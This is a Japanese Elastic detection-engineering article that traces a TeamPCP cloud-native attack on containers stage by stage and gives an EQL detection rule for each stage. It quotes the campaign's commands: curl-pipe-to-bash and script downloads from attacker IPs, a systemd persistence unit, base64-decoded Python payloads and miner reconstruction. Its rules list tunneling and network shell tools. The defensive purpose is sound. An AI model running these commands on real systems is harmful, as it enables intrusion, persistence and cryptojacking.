Ruben Groenewoud

Linuxおよびクラウド検出エンジニアリング - TeamPCPコンテナ攻撃シナリオ

本稿では、TeamPCPによる多段階コンテナ侵害の実際の事例を解説し、Elastic社のD4Cが攻撃チェーンの各段階でランタイムシグナルをどのように検出するかを示します。

14分で読めますEnablement, Detection Engineering
Linuxおよびクラウド検出エンジニアリング - TeamPCPコンテナ攻撃シナリオ

はじめに

前回の記事では、Defend for Containers(D4C)がどのように展開されるか、そのポリシーモデルがどのように動作するか、そしてランタイムテレメトリがどのように構成されているかを検証しました。その基礎が整った上で、次のステップは、構成と現場分析から応用的な検出工学へと移行することです。

この記事では、 Flare が文書化したTeamPCP クラウドネイティブランサムウェアの運用に基づいた、現実的なコンテナ攻撃シナリオについて解説します。抽象化された個々の手法を分析するのではなく、コンテナ化された環境内で攻撃が展開する様子を追跡し、各段階がD4Cテレメトリにどのように現れるかを検証します。

MITRE ATT&CKに照らし合わせると、このシナリオにおける活動は、攻撃ライフサイクルのほぼ全体にわたる。侵入は、コンテナ内部での実行と発見から始まり、永続化、横方向の移動、コマンド&コントロール活動を経て、最終的に影響を及ぼすまで進行する。

本稿では、これらの動作を具体的な検出ロジックにマッピングすることで、D4Cがいかにして検出エンジニアがコンテナの侵害を、孤立した疑わしいコマンドとしてではなく、構造化された攻撃チェーンの一部として特定することを可能にするかを示す。

TeamPCP - クラウドネイティブとランサムウェアの分野で台頭する勢力

このシナリオでは、Flare社が最近調査・文書化した、TeamPCPクラウドネイティブランサムウェア攻撃におけるコンテナ侵害と拡散の段階を順を追って説明します。これを抽象的な事例研究として扱うのではなく、以下の流れは攻撃が実際にどのように展開されるかを反映しており、D4Cのテレメトリと事前構築された検出機能が侵入の各段階をどのように明らかにするかを示しています。

大まかに言うと、この段階における脅威アクターの目的は以下のとおりです。

  1. コンテナ内で対話型のコード実行を実現する
  2. ワークロードがKubernetesで実行されているかどうかを判断します。
  3. 持続的な実行と継続性を確立する
  4. ポッドとノードを横方向に伝播する
  5. 大規模な収益化(マイニング、ランサムウェア、転売など)のための環境を準備する

これらの目標はいずれも、D4Cが検出に適した、観測可能な実行時動作を残します。

ステージ 1 – ダウンロードとパイプ・トゥ・シェルによる初期実行

攻撃は、よく知られた効果的な手法、すなわちシェルパイプラインを介してスクリプトをダウンロードし、即座に実行することから始まる。

curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash

ここでの意図は、ファイル作成を回避しつつ、即座に実行できるようにすることです。これは典型的な諜報活動の手法だ。ペイロードはディスクに書き込まれず、スキャンすべき明らかな痕跡も残らない。

D4Cの視点から見ると、これは依然として非常に疑わしい実行時パターンとなる。対話型プロセスcurlはコンテナ内で実行され、直ちにシェルインタープリタを起動します。親子関係、コマンドライン、コンテナのコンテキストはすべて取得されます。

sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and 
   process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   )]

このルールは、ファイルがディスクに書き込まれていない場合でも、ダウンロード→インタープリタ実行のパターンを検出します。このステップを検出することは非常に重要です。なぜなら、これはコンテナ内でキーボード操作が行われたことを示す最初の信頼できる指標となるからです。

TeamPCPは実行時に、対象システムをスキャンして競合するマイニングプロセスを検出し、 pkillコマンドを使用してそれらを終了させます。

pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true

TeamPCPの競合排除ロジックは、競合他社と比較して非常に限定的で、 xmrigのみに焦点を当てています。コンテナ内での手動によるプロセス終了はまれであり、特に対話型プロセスを介して行われる場合はなおさらである。

process where event.type == "start" and event.action == "exec" and
container.id like "*?" and 
(
  process.name in ("kill", "pkill", "killall") or
  (
    /*
       Account for tools that execute utilities as a subprocess,
       in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
      "pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
      "killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
    )
  )
)

この段階でトリガーされた検出ルールは、こちらから入手できます。

その結果、初回アクセス時に以下の検出アラートが発生します。

ステージ 2 – Kubernetes環境の検出

実行権限を取得した後、攻撃者はサービスアカウントトークンをテストすることで、コンテナがKubernetes内で実行されているかどうかを確認します。

if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]

このチェックは、攻撃が現在のコンテナを超えて拡大する可能性があるかどうかを判断します。トークンが存在する場合、攻撃者はKubernetes APIを悪用する。さらに、ドロップされたスクリプトは環境変数と複数の機密ファイルの場所を列挙するため、多数の検出関連のアラートがトリガーされます。

この段階でトリガーされた検出ルールは、こちらから入手できます。

その結果、発見時に以下の検出アラートが発せられます。

ステージ 3 – 横方向への移動 kube.py

サービスアカウントトークンが存在する場合、攻撃者はポッドを列挙し、クラスタ全体でコマンドを実行するように設計されたPythonスクリプトをダウンロードして実行します。

curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py

この時点で、攻撃者の目的は明確です。侵害された単一のコンテナを足がかりとして、正規のKubernetes APIを使用してクラスタ全体に拡散することです。

D4Cは、ファイルとプロセスのテレメトリを組み合わせることで、この段階を検出します。スクリプトは一時ディレクトリに書き込まれ、対話型コンテナセッション内でインタープリタを介して即座に実行されます。

リモートソースからファイルを取得する対話型コマンドcurlを検出することは、古いコンテナワークロードを検出するための強力なシグナルです。

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    (process.name == "curl" or process.args in (
      "curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
    )
  ) and
    process.args in (
      "-o", "-O", "--output", "--remote-name",
      "--remote-name-all", "--output-dir"
    )
  ) or
  (
    (process.name == "wget" or process.args in (
      "wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
    )
  ) and
  process.args like ("-*O*", "--output-document=*", "--output-file=*")
  )
) and (
 process.args like~ "*http*" or
 process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"

上記の検出ルールはリモートファイルのダウンロードを検出しますが、さらに一歩進んで、同じコンテナコンテキスト内でのファイル作成とその後の実行という一連の動作を検出することもできます。

sequence by container.id, user.id with maxspan=3s
  [file where host.os.type == "linux" and event.type == "creation" and 
   process.interactive == true and container.id like "?*" and
   file.path like (
     "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
   ) and
   not process.name in (
     "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",   
     "pacman", "rpm", "dpkg"
   )] by file.path
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.interactive == true and
   container.id like "?*"] by process.executable

ここでは、パッケージマネージャによって作成されたファイルは除外し、対話型プロセスに焦点を当てます。パッケージマネージャによって作成されたファイルは、一般的なワークロードには必ず存在すると考えられるためです。

この段階でトリガーされた検出ルールは、こちらから入手できます。

その結果、横方向の動きに対して以下の検知アラートが発生します。

ステージ 4 – Systemdによる永続性の確立

systemdサービスのような永続化メカニズムは、コンテナ環境では一般的に非論理的である。ほとんどのコンテナは、ライフサイクル管理をコンテナランタイムまたはオーケストレーターに依存する、短命な単一プロセスワークロードとして設計されています。通常、コンテナは完全なinitシステムを実行しておらず、systemdが存在する場合でも、コンテナ内で行われた変更は、再デプロイ、再スケジュール、またはイメージの再構築後も維持されることはほとんどありません。

その結果、コンテナ内からsystemdを介して永続性を確立しようとする試みは、異常の強い兆候となります。これらは多くの場合、次の2つのいずれかを示しています。コンテナが特権昇格された状態で実行され、ホストのファイルシステムにアクセスしているか、攻撃者がコンテナの境界を突破して、ノードレベルで永続化メカニズムを有効にしようとしているかのどちらかです。

TeamPCPキャンペーンでは、攻撃者はsystemdサービスを作成することで永続性を確立しようとします。

cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF

この動作は、通常のコンテナの動作とは一致しません。コンテナ内部からsystemdユニットファイルを書き込むことは、コンテナのライフサイクルを超えて永続的に機能させようとする意図を示唆するものであり、これは基盤となるホストに影響を与える場合にのみ意味を持つ。

D4Cは、この動作をコンテナコンテキストから発生する、機密性の高いシステム領域におけるファイル作成アクティビティとして捉えます。以下の検出ロジックは、systemdサービス、タイマー、cronジョブ、sudoersファイル、シェルプロファイルの変更など、一般的なLinuxの永続化パスにおける書き込み指向のファイルアクティビティを検出します。

file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
  file.path like (
    // Cron & Anacron Jobs
    "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
    "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", 
    "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", 
    "/var/spool/anacron/*",

    // At Job
    "/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",

    // Sudoers
    "/etc/sudoers*"
  ) or
  (
    // Systemd Service/Timer
    file.path like (
      "/etc/systemd/system/*", "/etc/systemd/user/*",
      "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", 
      "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
      "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
      "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
    ) and
    file.extension in ("service", "timer")
  ) or
  (
    // Shell Profile Configuration
    file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
      file.path like ("/home/*/*", "/etc/*", "/root/*") and
      file.name in (
  	 "profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
        "csh.login", "config.fish", "ksh.kshrc", ".bashrc",
        ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", 
        ".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
      )
    )
  )
) and container.id like "?*" and
not process.name in (
  "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
  "apk", "pacman", "rpm", "dpkg"
)

この検出はsystemdのみに焦点を当てているわけではありません。その代わりに、コード実行が達成された後に攻撃者が試みる可能性のある、Linuxでよく見られる複数の永続化手法を網羅することで、より広範な永続化をモデル化している。パッケージマネージャーを明示的に除外することで、このルールは正当なアップデートやインストール活動によるノイズを低減します。

この段階でトリガーされた検出ルールは、こちらから入手できます。

その結果、永続化時に以下の検出アラートが発生します。

コンテナ環境でこの検出が発動した場合、それは侵害後の挙動を示しており、ホストレベルに影響を与える可能性があることを示す強力な指標となります。これは、疑わしいだけでなく、コンテナの想定される動作と構造的に相容れない活動を浮き彫りにするものです。

ステージ 5 – 実行時にツールをインストールする

Dockerベースのデプロイメントでは、攻撃者は必要なツールを動的にインストールします。

apk add --no-cache curl bash python3

これにより、同じペイロードを異なるベースイメージ間で変更することなく実行することが可能になります。

防御側の視点から見ると、コンテナ内でのランタイムパッケージのインストールは、デプロイ後の改ざんを示す強力な指標となる。D4Cは、既知のパッケージマネージャーに関連付けられたプロセス実行テレメトリを通じてこれを検出します。

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    process.name in (
      "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
    ) and process.args == "install"
  ) or
  (process.name == "apk" and process.args == "add") or
  (process.name == "pacman" and process.args like "-*S*") or
  (process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
  "curl", "wget", "socat", "busybox", "openssl", "torsocks",
  "netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
  "python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
  "dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"

コンテナ内でのパッケージインストールがすべて悪意のあるものであるとは限りません。オーケストレーションを行う際、コンテナは実行するために特定のパッケージをインストールする必要があります。しかし、攻撃者は必要なツールをインストールするためにパッケージマネージャーをよく利用するため、これは既にデプロイされているコンテナランタイムにとって重大な警告となる。

この段階でトリガーされた検出ルールは、こちらから入手できます。

ツールインストール時に、以下の検出アラートが表示されます。

ステージ 6 – トンネリングとプロキシアクセスの確立

安定した実行環境と永続性が確立されると、TeamPCPはアクセスから接続性へと焦点を移します。この段階で、攻撃者はFRPSやGOSTなどのトンネリングおよびプロキシツールを展開し、内部サービスを露出させ、信頼性の高い外部アクセスを維持します。

この手順の目的は、侵害されたコンテナを再利用可能なインフラストラクチャに変換することです。攻撃者はトンネルやフォワーダーを構築することで、他の環境へ移行したり、トラフィックを中継したり、侵害したワークロードをより大規模な攻撃チェーンの一部として再利用したりすることができる。

D4Cは、プロセス実行テレメトリを通じてこのアクティビティを検出します。コンテナ内で既知のトンネリングツールを実行することは、正当なワークロードでは一般的ではなく、対話型実行やコンテナのコンテキストと組み合わせると、明らかに異質なものとなる。

process where event.type == "start" and event.action == "exec" and (
  (
    // Tunneling and/or Port Forwarding via process args
    (process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
    // gost
    (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
    // ssh
    (process.name == "ssh" and (
     process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and 
     not (process.args == "chmod" or process.args like "*rungencmd*"))
    ) or
    // ssh Tunneling and/or Port Forwarding via SSH option
    (process.name == "ssh" and process.args == "-o" and process.args like~(
      "*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
      "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", 
      "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
      )
    ) or
    // sshuttle
    (process.name == "sshuttle" and
     process.args in ("-r", "--remote", "-l", "--listen")
    ) or
    // earthworm
    (process.args == "-s" and process.args == "-d" and
     process.args == "rssocks"
    ) or
    // socat
    (process.name == "socat" and
     process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
    ) or
    // chisel
    (process.name like~ "chisel*" and process.args in ("client", "server")) or
    // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok 
    (process.name in (
      "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
      "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", 
      "proxychains"
      )
    )
  )
) and container.id like "?*"

Linuxシステムには、多くのトンネリングおよびポートフォワーディングツールが利用可能です。上記に示した包括的なルールは、正規表現、プロセス名、およびプロセス引数を組み合わせて、一般的に見られるトンネリング活動を検出します。

この段階でトリガーされた検出ルールは、こちらから入手できます。

その結果、トンネリングおよびプロキシアクセス時に以下の検出アラートが発生します。

トンネリングの検出は重要である。なぜなら、それは多くの場合、短期間の侵害から攻撃者の継続的な存在への移行を示すものだからである。初期段階と照らし合わせると、これは偶発的な実行ではなく、意図的かつ継続的な虐待であることを強く裏付ける証拠となる。

ステージ 7 – エンコードされたペイロードの実行

ペイロードのロジックを隠蔽するため、攻撃者はPythonを介してBase64エンコードされたペイロードを直接実行する。

python3 -c "exec(base64.b64decode('<payload>').decode())"

この手法はペイロード自体の可視性を低下させる一方で、独特な実行特性をもたらします。それは、エンコードされた引数が対話型セッションで直接インタープリタに渡されるというものです。

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (process.name in (
    "base64", "base64plain", "base64url", "base64mime", "base64pem",
    "base32", "base16"
    ) and process.args like~ "*-*d*"
  ) or
  (process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
  (process.name == "openssl" and process.args == "enc" and
   process.args in ("-d", "-base64", "-a")
  ) or
  (process.name like "python*" and (
    (process.args == "base64" and process.args in ("-d", "-u", "-t")) or
    (process.args == "-c" and process.args like "*base64*" and
     process.args like "*b64decode*")
    )
  ) or
  (process.name like "perl*" and process.args like "*decode_base64*") or
  (process.name like "ruby*" and process.args == "-e" and
   process.args like "*Base64.decode64*"
  )
) and container.id like "?*"

ペイロードを解読する方法は数多くありますが、上記に示した包括的なルールは、最も一般的に見られる手法を網羅しています。

この段階でトリガーされた検出ルールは、こちらから入手できます。

実行時に以下の検出アラートが発生します。

ステージ 8 – マイナーのデプロイと実行

最終的に、攻撃者はbase64からマイナーを再構築し、ディスクに書き込み、実行可能にして起動します。

/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"

この段階は、セットアップから収益化への移行を表しています。攻撃者は現在、クラスターのリソースを積極的に悪用しています。

前述のとおり、D4Cは前の段階でリンクしたルールと同じルールを使用して、base64ペイロードのデコードを検出します。検出すべき重要なシグナルは他にも3つあり、Base64エンコードされたペイロードの作成、特定のディレクトリにおけるファイル権限の変更、および一時ディレクトリ内で新たに作成されたバイナリの実行である。

Base64エンコードされたペイロードを作成するために、echo/printf組み込み関数を含むシェルの実行を検出する包括的なルールと、悪用されやすいコマンドラインのホワイトリストが作成されました。

process where event.type == "start" and event.action == "exec" and 
process.interactive == true and process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and 
process.args like (
  "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
  "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", 
  "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", 
  "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
  "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
  "* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
  "*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *" 
) and container.id like "?*"

特にインタラクティブなプロセスにおいては、以下の検出ルールは高信号となる。

フローの2つ目の要素は、ファイル権限の変更に関するものです。ファイル権限の変更がすべて悪意のあるものであるとは限りませんが、コンテナ内の対話型プロセスを介して、世界中のユーザーが書き込み可能なディレクトリにある実行可能ファイルのファイル権限の変更を検出することは、頻繁には起こらないと考えられます。

any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
  process.name == "chmod" or
  (
    /*
    account for tools that execute utilities as a subprocess,
    in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
    )
  )
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"

ここでは、ファイルおよびプロセスイベントのカテゴリを活用していることに注意してください。その理由は、D4C はポリシーで明示的に設定されている場合、ファイル イベントを通じてこれらの変更をキャプチャしますが、デフォルトではexecve呼び出しを検出するように設定されている場合は、これらのプロセス実行をキャプチャします。

この一連の流れの最後の部分は、ワールド書き込み可能な場所におけるバイナリの実行に関するものです。ほとんどのコンテナランタイムは、これらのディレクトリにあるペイロードを実行しません。

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  process.executable like (
    "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
    "/mnt/*", "/media/*", "/boot/*"
  ) or
  // Hidden process execution
  process.name like ".*"
) and container.id like "?*"

なお、このルールは隠れたプロセス実行も捕捉します。これは脅威アクターにもよく見られる手法で、プロセスを非表示にすることで検出を回避しようとする場合がある。

この段階でトリガーされた検出ルールは、こちらから入手できます。

その結果、マイナーのデプロイと実行時に、以下の検出アラートが発生します。

ステージ 9 – ノード制御へのエスカレーション

攻撃者がコンテナ内部に足がかりを得て、過剰な権限を持つサービスアカウントへのアクセス権を取得すると、次のステップはKubernetesのコントロールプレーン自体を悪用することです。この段階では、攻撃は単一のコンテナにとどまらず、クラスタ全体に影響を及ぼすようになる。このアクティビティはKubernetesの監査ログによって検出されます。この侵入によって明らかになったKubernetesの監査ログルールは、大きく3つのパターンに分類される。

ステージ9.1 – 偵察とAPIの悪用

攻撃者のkube.pyスクリプトは、盗まれたサービスアカウントトークンを使用して、すべての名前空間にわたるポッド、シークレット、およびノードを列挙します。Kubernetesの観点から見ると、これは単一のIDが複数のリソースタイプにわたってAPI呼び出しを大量に行っているように見え、権限列挙検出ロジックに直接対応するパターンです。APIクライアントとして、Pythonのurllibではなくkubectlを使用しているのも珍しい。

この段階でトリガーされた検出ルールは、こちらから入手できます。

その結果、偵察およびAPI悪用時に以下の検出アラートが発生します。

ステージ9.2 – 権限昇格とワークロード操作

列挙が完了すると、攻撃者は特権を持つ DaemonSet ( system-monitor ) を作成し、侵害されたサービス アカウントにバインドされていた過剰な特権を持つ ClusterRole を利用します。ワークロードの作成と、それを可能にしたロールの両方にフラグが立てられています。DaemonSet は機密性の高いワークロードの変更として、ClusterRole バインディングはpods/exec 、シークレット アクセス、DaemonSet の作成など、広範な権限を付与する機密性の高いロールとしてフラグが立てられています。

この段階でトリガーされた検出ルールは、こちらから入手できます。

権限昇格およびワークロード操作が発生した場合、以下の検出アラートが発生します。

ステージ9.3 – ノードレベル脱出

DaemonSetのpod仕様は、コンテナが通常提供するあらゆる分離境界を打破するように設計されています。特権モードを要求し、ホストネットワークとPIDネームスペースに接続し、ノードのルートファイルシステムをマウントします。これらの特性はそれぞれ個別の検出ルールをトリガーし、それらを総合することで、ノード脱出を目的としたコンテナワークロードの明確な全体像が浮かび上がります。

この段階でトリガーされた検出ルールは、こちらから入手できます。

ノードレベルのエスケープが発生した場合、以下の検出アラートが発生します。

これら3つのサブステージは、コンテナに焦点を当てた検出における重要な境界も浮き彫りにしている。D4Cはコンテナ内部で何が起きているかを監視することに優れていますが、それらのコンテナがどのように、そしてなぜ作成されたのかを特定するには、Kubernetesのコントロールプレーンのテレメトリが必要です。次回の「Kubernetes検出エンジニアリング」シリーズでは、D4CランタイムイベントとKubernetes監査ログを関連付け、ワークロードの作成、権限昇格、ノードレベルへの影響といった多段階攻撃を検出することに焦点を当てます。

Kubernetesの監査ログに既に詳しい方、または監査ログについてもっと詳しく知りたい方のために、Kubernetes監査ログフレームワークを活用した事前構築済みの検出ルールをGitHubのdetection-rulesリポジトリにいくつか用意しています。

ステージ 10 – React2ShellによるWebサーバーの悪用

TeamPCPは、侵害されたコンテナやKubernetesの制御パスを悪用するだけでなく、Webサーバーへの直接的な攻撃を利用して、公開されているサービスへのシェルアクセス権を取得する。関連するキャンペーンで言及されている手法の1つにReact2Shellがあり、これは脆弱性のあるWebアプリケーションを悪用してリモートコマンド実行を実現し、対話型シェルに侵入するものです。

攻撃者の目的は単純明快だ。Kubernetesワークロードを超えてアクセス範囲を拡大し、環境への侵入ポイントを増やすことである。ウェブに面したサービスは、コンテナよりも厳密に隔離されていないことが多く、パッチが適用されていない状態が続くと、ホストレベルの侵害につながる迅速な経路となる可能性がある。

検知という観点から言えば、この活動は既に十分にカバーされている。Elasticは、Webサーバープロセスから発生する疑わしいコマンド実行パターンを検出する包括的なWebサーバー脆弱性検出機能を提供します。さらに、複数のホストベースのLinux検出機能は、Webシェルへのアクセスが成功した後のポストエクスプロイト動作、例えば予期しないシェル実行、Webサービスによって起動されるコマンドインタープリタ、および後続のツール実行などを特定します。

この段階を検出することは重要です。なぜなら、これはコンテナ固有の防御を完全に回避する代替の侵入経路を表しているからです。以前のD4C検出結果と関連付けると、React2Shellスタイルのエクスプロイトは、攻撃者が複数のアクセス経路を積極的に追求していることを裏付け、攻撃範囲と持続性の両方を高めるのに役立ちます。

この段階でトリガーされた検出ルールは、こちらから入手できます。

その結果、Webサーバーの脆弱性が悪用された際に、以下の検出アラートが発生します。

このシナリオが検出演習として効果的な理由は、攻撃者の主要な目的(実行、永続化、拡散、収益化)のすべてが、コンテナ内部の実行時動作として現れるからである。D4Cは、その挙動を文脈の中で観察できるため、検出エンジニアは、被害が発生した後に初めて攻撃を発見するのではなく、攻撃が展開する過程を追跡することができる。

攻撃発見で全てを結びつける

コンテナランタイムとKubernetes監査テレメトリ全体に個別の検出ルールを実行すると、数十個のアラートが生成され、それぞれが単一の疑わしいアクションを個別に強調表示します。これらを一つずつ検証する防御側は、ここに特権ポッドがあり、あそこにcurl | bashがあり、別の場所にAPI列挙のバーストがあることに気づくでしょう。課題はアラートを生成することではなく、これら130以上の信号がすべて同じ作戦の一部であることを認識することである。

ここで攻撃発見の出番となる。アタック・ディスカバリは、Elastic社の生成型AI機能であり、一連のアラートを取り込み、それらを自動的に関連付けて一貫性のある攻撃シナリオを作成します。アナリストが個々の警告を手動で切り替える必要をなくし、どの信号が関連しているかを特定してMITRE ATT&CKフレームワークにマッピングすることで、何が起こったのかを単一の読みやすい要約として生成します。

このシミュレーションによって生成されたアラートをAttack Discoveryに提示したところ、TeamPCPのキルチェーン全体を「コンテナ暗号ジャッキング攻撃チェーン」として正しく再構築しました。要約では以下の点が明らかになった。

  • 初期アクセス:被害者ノード上のWebサーバーの悪用。 busybox python3.11から生成され、偵察コマンド( idwhoamiuname -acat /etc/passwd )を実行した。
  • 権限昇格: system:serviceaccount:kube-system:daemon-set-controllerは、 HostPIDHostNetwork 、特権モード、および機密性の高いhostPathボリュームマウントを使用して、非常に高い権限を持つポッドを作成しています。
  • 防御回避: pkill -9 xmrigpkill -9 XMRigによる競合暗号通貨マイナーのクリーンアップ、およびbase64エンコードされたPythonペイロード
  • ツールの準備:シミュレートされたC2サーバーからcurlを介して、ランタイムパッケージのインストール( apkcurlbashpython3 )と悪意のあるスクリプトのダウンロードを行います。
  • C2インフラストラクチャ: /opt/teampcpの下にトンネルツールgostfrpcをデプロイし、ポート1081でSOCKS5プロキシをリッスンする。
  • 影響:復号化され段階化された/tmp/minerバイナリ:クリプトジャッキングの目的

攻撃チェーンの可視化では、MITRE ATT&CKのキルチェーン全体(初期アクセスから影響まで)にわたる相関アラートをマッピングし、実行、権限昇格、防御回避、発見、およびコマンド&コントロールにおける確認済みの活動を示します。

これは、D4CランタイムテレメトリとKubernetes監査ログを組み合わせることによるメリットです。どちらのデータソースも単独ではこの状況を生み出すことはできません。コンテナランタイムはcurl | bashgostプロセス、およびマイナーバイナリを認識しますが、監査ログは DaemonSet の作成、RBAC の悪用、および API 列挙を記録します。攻撃検出機能は、これら両方を単一のストーリーに統合し、SOCアナリストが異なるインデックスや期間にわたるアラートを手動でつなぎ合わせることなく、即座に対応できるようにします。

まとめ

この一連の攻撃において、一貫したパターンが観察された。コンテナ内での対話型実行により、環境の発見、Kubernetes API を介した横方向の移動、コンテナ設計と矛盾する場所での永続化の試み、ランタイムツールのインストール、トンネリング活動、エンコードされたペイロードの再構築、そして最終的にはリソースの収益化が実現した。それぞれの目的によって、異なる実行時シグナルが生成された。

Defend for Containersの価値は、これらのシグナルをコンテナとオーケストレーションのコンテキストを付加した形で表示することにある。プロセス系統、機能メタデータ、対話型実行フラグ、ファイル変更テレメトリ、およびコンテナIDを組み合わせることで、検出は単純なコマンド照合を超え、意図と影響について推論できるようになります。

このシナリオは、重要な建築上の境界線も浮き彫りにしている。D4Cはコンテナ内部のランタイムに関する詳細な可視性を提供するが、特権ワークロードの作成やコントロールプレーンの操作といった特定の権限昇格手順では、完全な可視性を得るためにKubernetesの監査ログテレメトリが必要となる。したがって、効果的なクラウドネイティブ検出は、ランタイムデータソースとコントロールプレーンデータソースを組み合わせることに依存する。

このシリーズの次の段階では、このモデルをコンテナの境界を超えて拡張し、Kubernetesのコントロールプレーン検出エンジニアリングを探求します。監査ログとD4Cランタイムイベントを関連付けることで、ワークロード、ノード、およびクラスタ自体にまたがる多段階攻撃を検出します。

この記事を共有する